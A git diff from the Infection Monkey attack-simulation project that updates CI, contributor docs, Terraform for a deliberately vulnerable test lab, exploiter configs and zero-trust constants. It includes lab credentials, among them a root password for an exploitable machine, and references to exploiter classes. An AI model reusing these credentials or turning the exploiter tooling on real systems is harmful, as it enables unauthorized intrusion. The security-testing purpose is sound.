diff --git a/.travis.yml b/.travis.yml index 963c37fc6..b14482939 100644 --- a/.travis.yml +++ b/.travis.yml @@ -3,12 +3,6 @@ language: python cache: pip python: - 2.7 - - 3.6 -matrix: - include: - - python: 3.7 - dist: xenial # required for Python 3.7 (travis-ci/travis-ci#9069) - sudo: required # required for Python 3.7 (travis-ci/travis-ci#9069) install: #- pip install -r requirements.txt - pip install flake8 # pytest # add another testing frameworks later diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 2744fac11..035eb0124 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -2,11 +2,13 @@ Thanks for your interest in making the Monkey -- and therefore, your network -- a better place! -Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker](https://github.com/guardicore/monkey/issues). +Are you about to report a bug? Sorry to hear it. Here's our +[Issue tracker](https://github.com/guardicore/monkey/issues). Please try to be as specific as you can about your problem; try to include steps to reproduce. While we'll try to help anyway, focusing us will help us help you faster. -If you want to contribute new code or fix bugs.. +If you want to contribute new code or fix bugs, please read the following sections. You can also contact us (the +maintainers of this project) at our [Slack channel](https://join.slack.com/t/infectionmonkey/shared_invite/enQtNDU5MjAxMjg1MjU1LTM2ZTg0ZDlmNWNlZjQ5NDI5NTM1NWJlYTRlMGIwY2VmZGMxZDlhMTE2OTYwYmZhZjM1MGZhZjA2ZjI4MzA1NDk). ## Submitting code @@ -20,7 +22,17 @@ The following is a *short* list of recommendations. PRs that don't match these c * **Don't** leave your pull request description blank. * **Do** license your code as GPLv3. -Also, please submit PRs to the develop branch. +Also, please submit PRs to the `develop` branch. + +#### Unit tests +**Do** add unit tests if you think it fits. We place our unit tests in the same folder as the code, with the same +filename, followed by the _test suffix. So for example: `somefile.py` will be tested by `somefile_test.py`. + +Please try to read some of the existing unit testing code, so you can see some examples. + +#### Branch naming scheme +**Do** name your branches in accordance with GitFlow. The format is `ISSUE_#/BRANCH_NAME`; For example, +`400/zero-trust-mvp` or `232/improvment/hide-linux-on-cred-maps`. ## Issues * **Do** write a detailed description of your bug and use a descriptive title. diff --git a/README.md b/README.md index 6ab6813ce..67b5b2e8b 100644 --- a/README.md +++ b/README.md @@ -30,7 +30,6 @@ The Infection Monkey uses the following techniques and exploits to propagate to * Multiple exploit methods: * SSH * SMB - * RDP * WMI * Shellshock * Conficker diff --git a/deployment_scripts/config.ps1 b/deployment_scripts/config.ps1 index 24a8d3322..07be64612 100644 --- a/deployment_scripts/config.ps1 +++ b/deployment_scripts/config.ps1 @@ -22,7 +22,7 @@ $SAMBA_64_BINARY_NAME = "sc_monkey_runner64.so" # Other directories and paths ( most likely you dont need to configure) $MONKEY_ISLAND_DIR = "\monkey\monkey_island" $MONKEY_DIR = "\monkey\infection_monkey" -$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\monkey_utils\sambacry_monkey_runner" +$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\exploit\sambacry_monkey_runner" $PYTHON_DLL = "C:\Windows\System32\python27.dll" $MK32_DLL = "mk32.dll" $MK64_DLL = "mk64.dll" diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh index 5ce29ac59..4df8ba114 100644 --- a/deployment_scripts/deploy_linux.sh +++ b/deployment_scripts/deploy_linux.sh @@ -129,7 +129,7 @@ python -m pip install --user -r requirements_linux.txt || handle_error # Build samba log_message "Building samba binaries" sudo apt-get install gcc-multilib -cd ${monkey_home}/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner +cd ${monkey_home}/monkey/infection_monkey/exploit/sambacry_monkey_runner sudo chmod +x ./build.sh || handle_error ./build.sh diff --git a/envs/monkey_zoo/configs/fullTest.conf b/envs/monkey_zoo/configs/fullTest.conf index 8ffa668ef..d90d84ca4 100644 --- a/envs/monkey_zoo/configs/fullTest.conf +++ b/envs/monkey_zoo/configs/fullTest.conf @@ -62,7 +62,6 @@ "exploiter_classes": [ "SmbExploiter", "WmiExploiter", - "RdpExploiter", "ShellShockExploiter", "SambaCryExploiter", "ElasticGroovyExploiter", @@ -79,9 +78,6 @@ "remote_user_pass": "Password1!", "user_to_add": "Monkey_IUSER_SUPPORT" }, - "rdp_grinder": { - "rdp_use_vbs_download": true - }, "sambacry": { "sambacry_folder_paths_to_guess": [ "/", diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index 217a22b23..a8c0687fc 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -58,7 +58,7 @@ Requirements: To deploy: 1. Configure service account for your project: - a. Create a service account and name it “your\_name-monkeyZoo-user” + a. Create a service account (GCP website -> IAM -> service accounts) and name it “your\_name-monkeyZoo-user” b. Give these permissions to your service account: @@ -74,7 +74,7 @@ To deploy: **Project -> Owner** - c. Download its **Service account key**. Select JSON format. + c. Download its **Service account key** in JSON and place it in **/gcp_keys** as **gcp_key.json**. 2. Get these permissions in monkeyZoo project for your service account (ask monkey developers to add them): a. **Compute Engine -\> Compute image user** @@ -82,20 +82,30 @@ To deploy: ../monkey/envs/monkey\_zoo/terraform/config.tf file (don’t forget to link to your service account key file): - > provider "google" { - > - > project = "project-28054666" - > - > region = "europe-west3" - > - > zone = "europe-west3-b" - > - > credentials = "${file("project-92050661-9dae6c5a02fc.json")}" - > - > } - > - > service\_account\_email="test@project-925243.iam.gserviceaccount.com" - + provider "google" { + + project = "test-000000" // Change to your project id + + region = "europe-west3" // Change to your desired region or leave default + + zone = "europe-west3-b" // Change to your desired zone or leave default + + credentials = "${file("../gcp_keys/gcp_key.json")}" // Change to the location and name of the service key. + // If you followed instruction above leave it as is + + } + + locals { + + resource_prefix = "" // All of the resources will have this prefix. + // Only change if you want to have multiple zoo's in the same project + + service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com" // Service account email + + monkeyzoo_project="guardicore-22050661" // Project where monkeyzoo images are kept. Leave as is. + + } + 4. Run terraform init To deploy the network run:
@@ -500,6 +510,42 @@ fullTest.conf is a good config to start, because it covers all machines. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 11 Tunneling M3

+

(10.2.0.11)

(Exploitable)
OS:Ubuntu 16.04.05 x64
Software:OpenSSL
Default service’s port:22
Root password:3Q=(Ge(+&w]*
Server’s config:Default
Notes:Accessible only trough Nr.10
+ @@ -606,20 +652,16 @@ fullTest.conf is a good config to start, because it covers all machines. - - - - - + - + @@ -649,7 +691,7 @@ fullTest.conf is a good config to start, because it covers all machines. - diff --git a/envs/monkey_zoo/terraform/config.tf b/envs/monkey_zoo/terraform/config.tf index c6108865a..3a2bf0fc4 100644 --- a/envs/monkey_zoo/terraform/config.tf +++ b/envs/monkey_zoo/terraform/config.tf @@ -2,9 +2,10 @@ provider "google" { project = "test-000000" region = "europe-west3" zone = "europe-west3-b" - credentials = "${file("testproject-000000-0c0b000b00c0.json")}" + credentials = "${file("../gcp_keys/gcp_key.json")}" } locals { + resource_prefix = "" service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com" monkeyzoo_project="guardicore-22050661" -} \ No newline at end of file +} diff --git a/envs/monkey_zoo/terraform/firewalls.tf b/envs/monkey_zoo/terraform/firewalls.tf index df33ed4d4..b183a8d32 100644 --- a/envs/monkey_zoo/terraform/firewalls.tf +++ b/envs/monkey_zoo/terraform/firewalls.tf @@ -1,5 +1,5 @@ resource "google_compute_firewall" "islands-in" { - name = "islands-in" + name = "${local.resource_prefix}islands-in" network = "${google_compute_network.monkeyzoo.name}" allow { @@ -13,7 +13,7 @@ resource "google_compute_firewall" "islands-in" { } resource "google_compute_firewall" "islands-out" { - name = "islands-out" + name = "${local.resource_prefix}islands-out" network = "${google_compute_network.monkeyzoo.name}" allow { @@ -26,7 +26,7 @@ resource "google_compute_firewall" "islands-out" { } resource "google_compute_firewall" "monkeyzoo-in" { - name = "monkeyzoo-in" + name = "${local.resource_prefix}monkeyzoo-in" network = "${google_compute_network.monkeyzoo.name}" allow { @@ -35,11 +35,11 @@ resource "google_compute_firewall" "monkeyzoo-in" { direction = "INGRESS" priority = "65534" - source_ranges = ["10.2.2.0/24"] + source_ranges = ["10.2.2.0/24", "10.2.1.0/27"] } resource "google_compute_firewall" "monkeyzoo-out" { - name = "monkeyzoo-out" + name = "${local.resource_prefix}monkeyzoo-out" network = "${google_compute_network.monkeyzoo.name}" allow { @@ -48,11 +48,11 @@ resource "google_compute_firewall" "monkeyzoo-out" { direction = "EGRESS" priority = "65534" - destination_ranges = ["10.2.2.0/24"] + destination_ranges = ["10.2.2.0/24", "10.2.1.0/27"] } resource "google_compute_firewall" "tunneling-in" { - name = "tunneling-in" + name = "${local.resource_prefix}tunneling-in" network = "${google_compute_network.tunneling.name}" allow { @@ -60,11 +60,11 @@ resource "google_compute_firewall" "tunneling-in" { } direction = "INGRESS" - source_ranges = ["10.2.1.0/28"] + source_ranges = ["10.2.2.0/24", "10.2.0.0/28"] } resource "google_compute_firewall" "tunneling-out" { - name = "tunneling-out" + name = "${local.resource_prefix}tunneling-out" network = "${google_compute_network.tunneling.name}" allow { @@ -72,5 +72,28 @@ resource "google_compute_firewall" "tunneling-out" { } direction = "EGRESS" - destination_ranges = ["10.2.1.0/28"] + destination_ranges = ["10.2.2.0/24", "10.2.0.0/28"] +} +resource "google_compute_firewall" "tunneling2-in" { + name = "${local.resource_prefix}tunneling2-in" + network = "${google_compute_network.tunneling2.name}" + + allow { + protocol = "all" + } + + direction = "INGRESS" + source_ranges = ["10.2.1.0/27"] +} + +resource "google_compute_firewall" "tunneling2-out" { + name = "${local.resource_prefix}tunneling2-out" + network = "${google_compute_network.tunneling2.name}" + + allow { + protocol = "all" + } + + direction = "EGRESS" + destination_ranges = ["10.2.1.0/27"] } diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf index 4677d0c1b..dccbe16dd 100644 --- a/envs/monkey_zoo/terraform/images.tf +++ b/envs/monkey_zoo/terraform/images.tf @@ -26,23 +26,27 @@ data "google_compute_image" "shellshock-8" { project = "${local.monkeyzoo_project}" } data "google_compute_image" "tunneling-9" { - name = "tunneling-9-v2" + name = "tunneling-9" project = "${local.monkeyzoo_project}" } data "google_compute_image" "tunneling-10" { - name = "tunneling-10-v2" + name = "tunneling-10" + project = "${local.monkeyzoo_project}" +} +data "google_compute_image" "tunneling-11" { + name = "tunneling-11" project = "${local.monkeyzoo_project}" } data "google_compute_image" "sshkeys-11" { - name = "sshkeys-11-v2" + name = "sshkeys-11" project = "${local.monkeyzoo_project}" } data "google_compute_image" "sshkeys-12" { - name = "sshkeys-12-v2" + name = "sshkeys-12" project = "${local.monkeyzoo_project}" } data "google_compute_image" "mimikatz-14" { - name = "mimikatz-14-v2" + name = "mimikatz-14" project = "${local.monkeyzoo_project}" } data "google_compute_image" "mimikatz-15" { @@ -58,7 +62,7 @@ data "google_compute_image" "weblogic-18" { project = "${local.monkeyzoo_project}" } data "google_compute_image" "weblogic-19" { - name = "weblogic-19-v2" + name = "weblogic-19" project = "${local.monkeyzoo_project}" } data "google_compute_image" "smb-20" { @@ -78,7 +82,7 @@ data "google_compute_image" "struts2-23" { project = "${local.monkeyzoo_project}" } data "google_compute_image" "struts2-24" { - name = "struts-24-v2" + name = "struts2-24" project = "${local.monkeyzoo_project}" } data "google_compute_image" "island-linux-250" { @@ -88,4 +92,4 @@ data "google_compute_image" "island-linux-250" { data "google_compute_image" "island-windows-251" { name = "island-windows-251" project = "${local.monkeyzoo_project}" -} \ No newline at end of file +} diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index e0b97822f..cf45d93e0 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -6,29 +6,40 @@ locals { } resource "google_compute_network" "monkeyzoo" { - name = "monkeyzoo" + name = "${local.resource_prefix}monkeyzoo" auto_create_subnetworks = false } resource "google_compute_network" "tunneling" { - name = "tunneling" + name = "${local.resource_prefix}tunneling" + auto_create_subnetworks = false +} + +resource "google_compute_network" "tunneling2" { + name = "${local.resource_prefix}tunneling2" auto_create_subnetworks = false } resource "google_compute_subnetwork" "monkeyzoo-main" { - name = "monkeyzoo-main" + name = "${local.resource_prefix}monkeyzoo-main" ip_cidr_range = "10.2.2.0/24" network = "${google_compute_network.monkeyzoo.self_link}" } resource "google_compute_subnetwork" "tunneling-main" { - name = "tunneling-main" + name = "${local.resource_prefix}tunneling-main" ip_cidr_range = "10.2.1.0/28" network = "${google_compute_network.tunneling.self_link}" } +resource "google_compute_subnetwork" "tunneling2-main" { + name = "${local.resource_prefix}tunneling2-main" + ip_cidr_range = "10.2.0.0/27" + network = "${google_compute_network.tunneling2.self_link}" +} + resource "google_compute_instance_from_template" "hadoop-2" { - name = "hadoop-2" + name = "${local.resource_prefix}hadoop-2" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -37,7 +48,7 @@ resource "google_compute_instance_from_template" "hadoop-2" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.2" } // Add required ssh keys for hadoop service and restart it @@ -45,7 +56,7 @@ resource "google_compute_instance_from_template" "hadoop-2" { } resource "google_compute_instance_from_template" "hadoop-3" { - name = "hadoop-3" + name = "${local.resource_prefix}hadoop-3" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -54,13 +65,13 @@ resource "google_compute_instance_from_template" "hadoop-3" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.3" } } resource "google_compute_instance_from_template" "elastic-4" { - name = "elastic-4" + name = "${local.resource_prefix}elastic-4" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -69,13 +80,13 @@ resource "google_compute_instance_from_template" "elastic-4" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.4" } } resource "google_compute_instance_from_template" "elastic-5" { - name = "elastic-5" + name = "${local.resource_prefix}elastic-5" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -84,14 +95,14 @@ resource "google_compute_instance_from_template" "elastic-5" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.5" } } /* Couldn't find ubuntu packages for required samba version (too old). resource "google_compute_instance_from_template" "sambacry-6" { - name = "sambacry-6" + name = "${local.resource_prefix}sambacry-6" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -99,7 +110,7 @@ resource "google_compute_instance_from_template" "sambacry-6" { } } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.6" } } @@ -107,7 +118,7 @@ resource "google_compute_instance_from_template" "sambacry-6" { /* We need custom 32 bit Ubuntu machine for this (there are no 32 bit ubuntu machines in GCP). resource "google_compute_instance_from_template" "sambacry-7" { - name = "sambacry-7" + name = "${local.resource_prefix}sambacry-7" source_instance_template = "${local.default_ubuntu}" boot_disk { initialize_params { @@ -116,14 +127,14 @@ resource "google_compute_instance_from_template" "sambacry-7" { } } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.7" } } */ resource "google_compute_instance_from_template" "shellshock-8" { - name = "shellshock-8" + name = "${local.resource_prefix}shellshock-8" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -132,13 +143,13 @@ resource "google_compute_instance_from_template" "shellshock-8" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.8" } } resource "google_compute_instance_from_template" "tunneling-9" { - name = "tunneling-9" + name = "${local.resource_prefix}tunneling-9" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -147,18 +158,17 @@ resource "google_compute_instance_from_template" "tunneling-9" { auto_delete = true } network_interface{ - subnetwork="tunneling-main" + subnetwork="${local.resource_prefix}tunneling-main" network_ip="10.2.1.9" - } network_interface{ - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.9" } } resource "google_compute_instance_from_template" "tunneling-10" { - name = "tunneling-10" + name = "${local.resource_prefix}tunneling-10" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -167,13 +177,32 @@ resource "google_compute_instance_from_template" "tunneling-10" { auto_delete = true } network_interface{ - subnetwork="tunneling-main" + subnetwork="${local.resource_prefix}tunneling-main" network_ip="10.2.1.10" } + network_interface{ + subnetwork="${local.resource_prefix}tunneling2-main" + network_ip="10.2.0.10" + } +} + +resource "google_compute_instance_from_template" "tunneling-11" { + name = "${local.resource_prefix}tunneling-11" + source_instance_template = "${local.default_ubuntu}" + boot_disk{ + initialize_params { + image = "${data.google_compute_image.tunneling-11.self_link}" + } + auto_delete = true + } + network_interface{ + subnetwork="${local.resource_prefix}tunneling2-main" + network_ip="10.2.0.11" + } } resource "google_compute_instance_from_template" "sshkeys-11" { - name = "sshkeys-11" + name = "${local.resource_prefix}sshkeys-11" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -182,13 +211,13 @@ resource "google_compute_instance_from_template" "sshkeys-11" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.11" } } resource "google_compute_instance_from_template" "sshkeys-12" { - name = "sshkeys-12" + name = "${local.resource_prefix}sshkeys-12" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -197,14 +226,14 @@ resource "google_compute_instance_from_template" "sshkeys-12" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.12" } } /* resource "google_compute_instance_from_template" "rdpgrinder-13" { - name = "rdpgrinder-13" + name = "${local.resource_prefix}rdpgrinder-13" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -212,14 +241,14 @@ resource "google_compute_instance_from_template" "rdpgrinder-13" { } } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.13" } } */ resource "google_compute_instance_from_template" "mimikatz-14" { - name = "mimikatz-14" + name = "${local.resource_prefix}mimikatz-14" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -228,13 +257,13 @@ resource "google_compute_instance_from_template" "mimikatz-14" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.14" } } resource "google_compute_instance_from_template" "mimikatz-15" { - name = "mimikatz-15" + name = "${local.resource_prefix}mimikatz-15" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -243,13 +272,13 @@ resource "google_compute_instance_from_template" "mimikatz-15" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.15" } } resource "google_compute_instance_from_template" "mssql-16" { - name = "mssql-16" + name = "${local.resource_prefix}mssql-16" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -258,14 +287,14 @@ resource "google_compute_instance_from_template" "mssql-16" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.16" } } /* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed) resource "google_compute_instance_from_template" "upgrader-17" { - name = "upgrader-17" + name = "${local.resource_prefix}upgrader-17" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -273,7 +302,7 @@ resource "google_compute_instance_from_template" "upgrader-17" { } } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.17" access_config { // Cheaper, non-premium routing @@ -284,7 +313,7 @@ resource "google_compute_instance_from_template" "upgrader-17" { */ resource "google_compute_instance_from_template" "weblogic-18" { - name = "weblogic-18" + name = "${local.resource_prefix}weblogic-18" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -293,13 +322,13 @@ resource "google_compute_instance_from_template" "weblogic-18" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.18" } } resource "google_compute_instance_from_template" "weblogic-19" { - name = "weblogic-19" + name = "${local.resource_prefix}weblogic-19" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -308,13 +337,13 @@ resource "google_compute_instance_from_template" "weblogic-19" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.19" } } resource "google_compute_instance_from_template" "smb-20" { - name = "smb-20" + name = "${local.resource_prefix}smb-20" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -323,13 +352,13 @@ resource "google_compute_instance_from_template" "smb-20" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.20" } } resource "google_compute_instance_from_template" "scan-21" { - name = "scan-21" + name = "${local.resource_prefix}scan-21" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -338,13 +367,13 @@ resource "google_compute_instance_from_template" "scan-21" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.21" } } resource "google_compute_instance_from_template" "scan-22" { - name = "scan-22" + name = "${local.resource_prefix}scan-22" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -353,13 +382,13 @@ resource "google_compute_instance_from_template" "scan-22" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.22" } } resource "google_compute_instance_from_template" "struts2-23" { - name = "struts2-23" + name = "${local.resource_prefix}struts2-23" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -368,13 +397,13 @@ resource "google_compute_instance_from_template" "struts2-23" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.23" } } resource "google_compute_instance_from_template" "struts2-24" { - name = "struts2-24" + name = "${local.resource_prefix}struts2-24" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -383,13 +412,13 @@ resource "google_compute_instance_from_template" "struts2-24" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.24" } } resource "google_compute_instance_from_template" "island-linux-250" { - name = "island-linux-250" + name = "${local.resource_prefix}island-linux-250" machine_type = "n1-standard-2" tags = ["island", "linux", "ubuntu16"] source_instance_template = "${local.default_ubuntu}" @@ -400,7 +429,7 @@ resource "google_compute_instance_from_template" "island-linux-250" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.250" access_config { // Cheaper, non-premium routing (not available in some regions) @@ -410,7 +439,7 @@ resource "google_compute_instance_from_template" "island-linux-250" { } resource "google_compute_instance_from_template" "island-windows-251" { - name = "island-windows-251" + name = "${local.resource_prefix}island-windows-251" machine_type = "n1-standard-2" tags = ["island", "windows", "windowsserver2016"] source_instance_template = "${local.default_windows}" @@ -421,11 +450,11 @@ resource "google_compute_instance_from_template" "island-windows-251" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.251" access_config { // Cheaper, non-premium routing (not available in some regions) // network_tier = "STANDARD" } } -} \ No newline at end of file +} diff --git a/envs/monkey_zoo/terraform/templates.tf b/envs/monkey_zoo/terraform/templates.tf index ed48864d9..6ae6dafdc 100644 --- a/envs/monkey_zoo/terraform/templates.tf +++ b/envs/monkey_zoo/terraform/templates.tf @@ -1,5 +1,5 @@ resource "google_compute_instance_template" "ubuntu16" { - name = "ubuntu16" + name = "${local.resource_prefix}ubuntu16" description = "Creates ubuntu 16.04 LTS servers at europe-west3-a." tags = ["test-machine", "ubuntu16", "linux"] @@ -24,7 +24,7 @@ resource "google_compute_instance_template" "ubuntu16" { } resource "google_compute_instance_template" "windows2016" { - name = "windows2016" + name = "${local.resource_prefix}windows2016" description = "Creates windows 2016 core servers at europe-west3-a." tags = ["test-machine", "windowsserver2016", "windows"] @@ -42,4 +42,4 @@ resource "google_compute_instance_template" "windows2016" { email="${local.service_account_email}" scopes=["cloud-platform"] } -} \ No newline at end of file +} diff --git a/monkey/common/cloud/test_filter_instance_data_from_aws_response.py b/monkey/common/cloud/aws_service_test.py similarity index 97% rename from monkey/common/cloud/test_filter_instance_data_from_aws_response.py rename to monkey/common/cloud/aws_service_test.py index b48674387..25d1b8b6e 100644 --- a/monkey/common/cloud/test_filter_instance_data_from_aws_response.py +++ b/monkey/common/cloud/aws_service_test.py @@ -7,7 +7,7 @@ import json __author__ = 'shay.nehmad' -class TestFilter_instance_data_from_aws_response(TestCase): +class TestFilterInstanceDataFromAwsResponse(TestCase): def test_filter_instance_data_from_aws_response(self): json_response_full = """ { diff --git a/monkey/common/data/__init__.py b/monkey/common/data/__init__.py new file mode 100644 index 000000000..a8c1a93f7 --- /dev/null +++ b/monkey/common/data/__init__.py @@ -0,0 +1,2 @@ +from zero_trust_consts import populate_mappings +populate_mappings() diff --git a/monkey/common/data/network_consts.py b/monkey/common/data/network_consts.py new file mode 100644 index 000000000..5fc9d6d8a --- /dev/null +++ b/monkey/common/data/network_consts.py @@ -0,0 +1,2 @@ +ES_SERVICE = 'elastic-search-9200' + diff --git a/monkey/common/data/post_breach_consts.py b/monkey/common/data/post_breach_consts.py new file mode 100644 index 000000000..dee4f67d0 --- /dev/null +++ b/monkey/common/data/post_breach_consts.py @@ -0,0 +1,3 @@ +POST_BREACH_COMMUNICATE_AS_NEW_USER = "Communicate as new user" +POST_BREACH_BACKDOOR_USER = "Backdoor user" +POST_BREACH_FILE_EXECUTION = "File execution" diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py new file mode 100644 index 000000000..4add05d04 --- /dev/null +++ b/monkey/common/data/zero_trust_consts.py @@ -0,0 +1,205 @@ +""" +This file contains all the static data relating to Zero Trust. It is mostly used in the zero trust report generation and +in creating findings. + +This file contains static mappings between zero trust components such as: pillars, principles, tests, statuses. +Some of the mappings are computed when this module is loaded. +""" + +AUTOMATION_ORCHESTRATION = u"Automation & Orchestration" +VISIBILITY_ANALYTICS = u"Visibility & Analytics" +WORKLOADS = u"Workloads" +DEVICES = u"Devices" +NETWORKS = u"Networks" +PEOPLE = u"People" +DATA = u"Data" +PILLARS = (DATA, PEOPLE, NETWORKS, DEVICES, WORKLOADS, VISIBILITY_ANALYTICS, AUTOMATION_ORCHESTRATION) + +STATUS_UNEXECUTED = u"Unexecuted" +STATUS_PASSED = u"Passed" +STATUS_VERIFY = u"Verify" +STATUS_FAILED = u"Failed" +# Don't change order! The statuses are ordered by importance/severity. +ORDERED_TEST_STATUSES = [STATUS_FAILED, STATUS_VERIFY, STATUS_PASSED, STATUS_UNEXECUTED] + +TEST_DATA_ENDPOINT_ELASTIC = u"unencrypted_data_endpoint_elastic" +TEST_DATA_ENDPOINT_HTTP = u"unencrypted_data_endpoint_http" +TEST_MACHINE_EXPLOITED = u"machine_exploited" +TEST_ENDPOINT_SECURITY_EXISTS = u"endpoint_security_exists" +TEST_SCHEDULED_EXECUTION = u"scheduled_execution" +TEST_MALICIOUS_ACTIVITY_TIMELINE = u"malicious_activity_timeline" +TEST_SEGMENTATION = u"segmentation" +TEST_TUNNELING = u"tunneling" +TEST_COMMUNICATE_AS_NEW_USER = u"communicate_as_new_user" +TESTS = ( + TEST_SEGMENTATION, + TEST_MALICIOUS_ACTIVITY_TIMELINE, + TEST_SCHEDULED_EXECUTION, + TEST_ENDPOINT_SECURITY_EXISTS, + TEST_MACHINE_EXPLOITED, + TEST_DATA_ENDPOINT_HTTP, + TEST_DATA_ENDPOINT_ELASTIC, + TEST_TUNNELING, + TEST_COMMUNICATE_AS_NEW_USER +) + +PRINCIPLE_DATA_TRANSIT = u"data_transit" +PRINCIPLE_ENDPOINT_SECURITY = u"endpoint_security" +PRINCIPLE_USER_BEHAVIOUR = u"user_behaviour" +PRINCIPLE_ANALYZE_NETWORK_TRAFFIC = u"analyze_network_traffic" +PRINCIPLE_SEGMENTATION = u"segmentation" +PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES = u"network_policies" +PRINCIPLE_USERS_MAC_POLICIES = u"users_mac_policies" +PRINCIPLES = { + PRINCIPLE_SEGMENTATION: u"Apply segmentation and micro-segmentation inside your network.", + PRINCIPLE_ANALYZE_NETWORK_TRAFFIC: u"Analyze network traffic for malicious activity.", + PRINCIPLE_USER_BEHAVIOUR: u"Adopt security user behavior analytics.", + PRINCIPLE_ENDPOINT_SECURITY: u"Use anti-virus and other traditional endpoint security solutions.", + PRINCIPLE_DATA_TRANSIT: u"Secure data at transit by encrypting it.", + PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES: u"Configure network policies to be as restrictive as possible.", + PRINCIPLE_USERS_MAC_POLICIES: u"Users' permissions to the network and to resources should be MAC (Mandetory " + u"Access Control) only.", +} + 